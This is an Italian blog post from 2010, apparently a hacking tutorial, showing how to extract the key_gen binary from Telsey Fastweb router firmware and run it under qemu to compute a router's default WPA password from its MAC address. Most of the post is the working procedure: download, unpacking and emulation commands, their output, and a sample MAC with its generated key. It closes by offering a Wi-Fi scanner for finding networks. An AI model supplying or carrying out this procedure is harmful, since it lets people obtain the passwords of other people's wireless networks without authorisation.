[DEFAULT WPA]Telsey FASTWEB and key_gen.bin
Gli amici del wifiresearchers sono riusciti a trovare l’algoritmo con il quale una password viene generata partendo dal MAC ADDRESS.
Vi consiglio di leggere l’articolo riguardante le vulnerabilità del router fastweb pirelli e alice agpf:
WPA ALICE AND FASTEB REVERSE :)
Vediamo ora come usufruire del key_gen.bin il programmino ORIGINALE che genera le password di default partendo dal mac :D
Scarichiamo il firmaware del router:
CPVA642_SIP_fk_sip_3.6.rar
Tool, per estrarre il programmino :D
wget http://www.clshack.com/nopaste/bcm_tools-0.1.0.tar.gz
Estraiamo i tool per estrarre il key_gen:
sudo -s
tar -zxvf bcm_tools-0.1.0.tar.gz
make
cp ./bcm_lzma/lib/libbcmlzma_cmp.so /lib
cp ./bcm_lzma/lib/libbcmlzma_dcmp.so /lib
Estraiamo il firmaware:
sudo apt-get install unrar
cd bcm_tools-0.1.0
unrar ../CPVA642_SIP_fk_sip_3.6.rar
./bcm_fw_extract -a -v CPVA642_SIP_fk_sip_3.6.4V
Output simile:
## WARNING: RK CRC is incorrect, should be 0x2afa0e5c
[0x00] Header version: 6
[0x04] Vendor signature (1):
54 65 6c 73 65 79 20 54 6c 63 00 00 00 00 00 00
00 00 00 00
[0x18] Vendor signature (2):
33 2e 36 2e 34 56 2d 73 69 70 00 00 00 00
[0x26] Chip Id.:
36 33 35 38 00 00
[0x2c] Board Id.: CPVA642
[0x3c] Big endian ?: 1
[0x3e] Total img size: 0x0042a280
[0x48] CFE address: 0x00000000
[0x54] CFE size: 0x00000000
[0x5e] Root FS address: 0xbfc10100
[0x6a] Root FS size: 0x0036f000
[0x74] Kernel address: 0xbff7f100
[0x80] Kernel size: 0x000bb280
[0x8a] Dual img ?: 1
[0x8c] Inactive img ?: 0
[0x8e] Reserved:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
- RK checksum (0x36): 0x00000000
[0xd8] Header checksum: 0x5a243917
[0xec] Image checksum: 0x2afa0e5c
Dumping Broadcom header... (offset 0x00000000, sz 0x00000100, crc 0x3530589b) done.
No bootloader found in image. Skipping.
Dumping root filesystem... (offset 0x00000100, sz 0x0036f000, crc 0x73387d37) done.
Dumping kernel... (offset 0x0036f100, sz 0x000bb280, crc 0x285c26f2) done.
root@cls:~/bcm_tools-0.1.0# ./lzma_unsquash rootfs.bin
Reading a different endian SQUASHFS filesystem on rootfs.bin
Digitare poi:
file squashfs-root/bin/key_gen
Installiamo il pacchetto qemu per far si di riuscire ad eseguire il file key_gen
sudo apt-get install qemu qemu-common qemu-kvm qemu-kvm-extras
cd squashfs-root/
Bene ora abbiamo il programma che ci calcola le password di default:
qemu-mips -L . bin/key_gen
Output simile:
root@cls:~/bcm_tools-0.1.0/squashfs-root# qemu-mips -L . bin/key_gen
usage: bin/key_gen
The following MAC formats are supported:
xx.xx.xx.xx.xx.xx
xx:xx:xx:xx:xx:xx
xx;xx;xx;xx;xx;xx
xxxxxxxxxxxx
root@cls:~/bcm_tools-0.1.0/squashfs-root# qemu-mips -L . bin/key_gen 00036F8E42BC
7fcee0998a
root@cls:~/bcm_tools-0.1.0/squashfs-root#
Questa guida ha preso spunto dal grandissimo lavoro svolto dalla WHITE HACK CREW e dall’autore del blog audiocast.it(Valerio)
Complimenti ragazzi :D
Mentre per facilitarvi la ricerca delle reti wifi, un semplice wifi scanner in php che sfutta iwlist :D
DOWNLOAD WIFI SCANNER
Related posts:
- AutoScan: OTTIMO Network Scanner per UBUNTU e windows :P
- [Samba EXPLOIT]Symlink Traversal (guida metasploit)
- [Exploit]Privilege Escalation Kernel
- [How-To]Xplico:Network Forensic Analysis Tool
- Tshark: Command Line of Wireshark
This entry was posted on Sunday, September 12th, 2010 at 11:20 am and is filed under GNU/Linux, Hacking, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Tagged with: lan • scanner • wifi






